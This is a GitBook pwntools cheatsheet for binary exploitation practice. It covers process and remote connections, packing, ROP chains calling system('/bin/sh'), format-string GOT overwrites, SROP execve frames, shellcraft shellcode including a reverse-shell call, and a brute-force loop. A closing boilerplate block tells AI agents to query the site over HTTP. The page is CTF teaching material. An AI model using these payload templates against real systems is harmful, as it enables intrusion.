> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/01-pwntools-cheatsheet.md).

# Pwntools Complete Cheatsheet

## Setup & Context

```python
from pwn import *

context.arch      = 'amd64'    # amd64 / i386 / arm / aarch64 / mips
context.os        = 'linux'
context.endian    = 'little'
context.log_level = 'info'     # debug / info / warning / error
context.terminal  = ['tmux', 'splitw', '-h']  # for gdb.attach

# One-liner context from binary
context.binary = elf = ELF('./vuln')
```

***

## Connections

```python
# Local process
p = process('./vuln')
p = process(['./vuln', 'arg1'])
p = process('./vuln', env={'LD_PRELOAD': './libc.so.6'})

# Remote
p = remote('ctf.example.com', 1337)

# GDB debug
p = gdb.debug('./vuln', '''
    break main
    continue
''')

# Attach to running process
gdb.attach(p, 'break *0x401234')

# SSH
s = ssh('user', 'host', password='pass', port=22)
p = s.process('./vuln')
```

***

## Send / Receive

```python
# Send
p.send(b'data')                    # raw bytes, no newline
p.sendline(b'data')                # data + \n
p.sendafter(b'prompt:', b'data')   # wait for prompt, then send
p.sendlineafter(b'prompt:', b'data')

# Receive
p.recv(4)                          # exactly 4 bytes
p.recv(numb=4, timeout=2)
p.recvline()                       # until \n (includes \n)
p.recvline(keepends=False)         # strip \n
p.recvuntil(b'marker')             # until marker (includes marker)
p.recvuntil(b'marker', drop=True)  # until marker (excludes it)
p.recvall()                        # until EOF
p.recvn(8)                         # exactly 8 bytes
p.clean()                          # recv with short timeout, discard
p.interactive()                    # hand off to user

# Parse an integer from output
line = p.recvline()
val  = int(line.strip(), 16)       # parse hex

# Parse leaked address from 8-byte leak
leak = p.recv(6).ljust(8, b'\x00')  # 6-byte ASLR address, zero-pad
addr = u64(leak)
```

***

## Packing / Unpacking

```python
# Pack
p8 (0x41)              # 1 byte  → b'A'
p16(0x4142)            # 2 bytes
p32(0xdeadbeef)        # 4 bytes little-endian
p64(0xdeadbeef)        # 8 bytes little-endian
p32(0xdeadbeef, endian='big')  # big-endian

# Unpack
u8 (b'\x41')
u16(b'\x41\x42')
u32(b'\xef\xbe\xad\xde')      # → 0xdeadbeef
u64(data[:8])
u64(data.ljust(8, b'\x00'))   # safe padding

# Flat: pack a list
payload = flat([
    b'A' * 72,
    p64(pop_rdi),
    p64(binsh_addr),
    p64(system_addr)
])

# Fit: specify values at specific offsets
payload = fit({
    0:  b'A' * 72,
    72: p64(ret_addr),
    80: p64(system_addr)
})
```

***

## ELF

```python
elf = ELF('./vuln')

# Addresses
elf.sym['main']          # symbol address (works for functions + variables)
elf.symbols['main']      # same thing
elf.plt['puts']          # PLT stub address
elf.got['puts']          # GOT entry address
elf.bss()                # start of .bss section
elf.bss(offset=0x100)    # .bss + 0x100

# Search
list(elf.search(b'/bin/sh'))    # all occurrences
next(elf.search(b'/bin/sh'))    # first occurrence
next(elf.search(asm('pop rdi; ret')))  # search for gadget bytes

# Info
elf.arch         # 'amd64'
elf.bits         # 64
elf.pie          # True/False
elf.canary       # True/False
elf.nx           # True/False
elf.relro        # 'full' / 'partial' / 'no'

# Set base (after PIE leak)
elf.address = leaked_base

# Patch and save
elf.asm(address, 'nop; nop')
elf.save('./vuln_patched')
```

***

## ROP

```python
rop = ROP(elf)          # or ROP([elf, libc])

# Add gadgets
rop.raw(pop_rdi)
rop.raw(binsh_addr)
rop.raw(system_addr)

# Convenience (auto-finds gadgets)
rop.call('puts', [elf.got['puts']])   # call puts(got_puts)
rop.call('system', [binsh])
rop.call(elf.plt['puts'], [elf.got['puts']])

# Dump chain
print(rop.dump())

# Get bytes
chain = bytes(rop)
payload = b'A' * offset + chain

# Find gadgets manually
rop.find_gadget(['pop rdi', 'ret'])[0]   # address
rop.rdi.address   # shortcut
```

***

## Format String

```python
# Auto-find offset
def exec_fmt(payload):
    p = process('./vuln')
    p.sendlineafter(b'Input: ', payload)
    return p.recvall()

fmt = FmtStr(execute_fmt=exec_fmt)
print(fmt.offset)   # offset to your buffer

# Build write payload
payload = fmtstr_payload(offset, {
    target_addr: value_to_write
})

# Multiple writes
payload = fmtstr_payload(offset, {
    elf.got['puts']:   libc.sym['system'],
    elf.got['printf']: libc.sym['system'],
})

# Specify write size
fmtstr_payload(offset, {addr: val}, write_size='byte')   # %hhn
fmtstr_payload(offset, {addr: val}, write_size='short')  # %hn
fmtstr_payload(offset, {addr: val}, write_size='int')    # %n
```

***

## SROP (Sigreturn-Oriented Programming)

```python
context.arch = 'amd64'

frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
frame.rsp = 0xdeadbeef   # optional

payload = b'A' * offset
payload += p64(pop_rax) + p64(15)    # rax = sigreturn
payload += p64(syscall_addr)
payload += bytes(frame)
```

***

## Cyclic Patterns

```python
pattern = cyclic(200)         # generate 200-byte De Bruijn pattern
cyclic_find(b'aaab')          # find offset from 4 bytes
cyclic_find(0x61616162)       # find offset from int

# 32-bit
cyclic_find(0x61616162, n=4)

# Get from crash: read $rsp value, or use:
# (in gdb) cyclic_find <value>
```

***

## Assembly / Disassembly

```python
# Assemble
asm('nop')                     # b'\x90'
asm('pop rdi; ret')
asm('mov rax, 59; syscall', arch='amd64')
shellcode = asm(shellcraft.sh())   # pwntools shellcraft

# Disassemble
disasm(b'\x90\x48\x31\xc0')
disasm(bytes_at_address, arch='amd64', vma=0x401000)

# Shellcraft
context.arch = 'amd64'
shellcraft.sh()                    # execve /bin/sh
shellcraft.linux.sh()
shellcraft.connect('host', port)   # reverse shell
print(shellcraft.sh())             # view asm
```

***

## Libc Database (libc.rip / libc-database)

```python
# After leaking a libc address, find libc version:
# https://libc.rip/ or https://libc.blukat.me/

# Use libcdb in pwntools:
from pwnlib.libcdb import search_by_symbol_offsets

results = search_by_symbol_offsets(
    [('puts', 0xd0fd0), ('system', 0x55410)]
)
```

***

## Useful Utilities

```python
# Hex dump
hexdump(data)
enhex(data)     # b'\xde\xad' → 'dead'
unhex('dead')   # 'dead' → b'\xde\xad'

# Log helpers
log.info('message')
log.success(f'shell @ {hex(addr)}')
log.warning('something odd')
log.debug('verbose data')

# Wait for gdb to attach (pause execution)
pause()

# Pretty print addresses
print(hex(addr))

# Run in loop until success (brute force)
while True:
    try:
        p = process('./vuln')
        exploit(p)
        break
    except EOFError:
        p.close()
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/01-pwntools-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
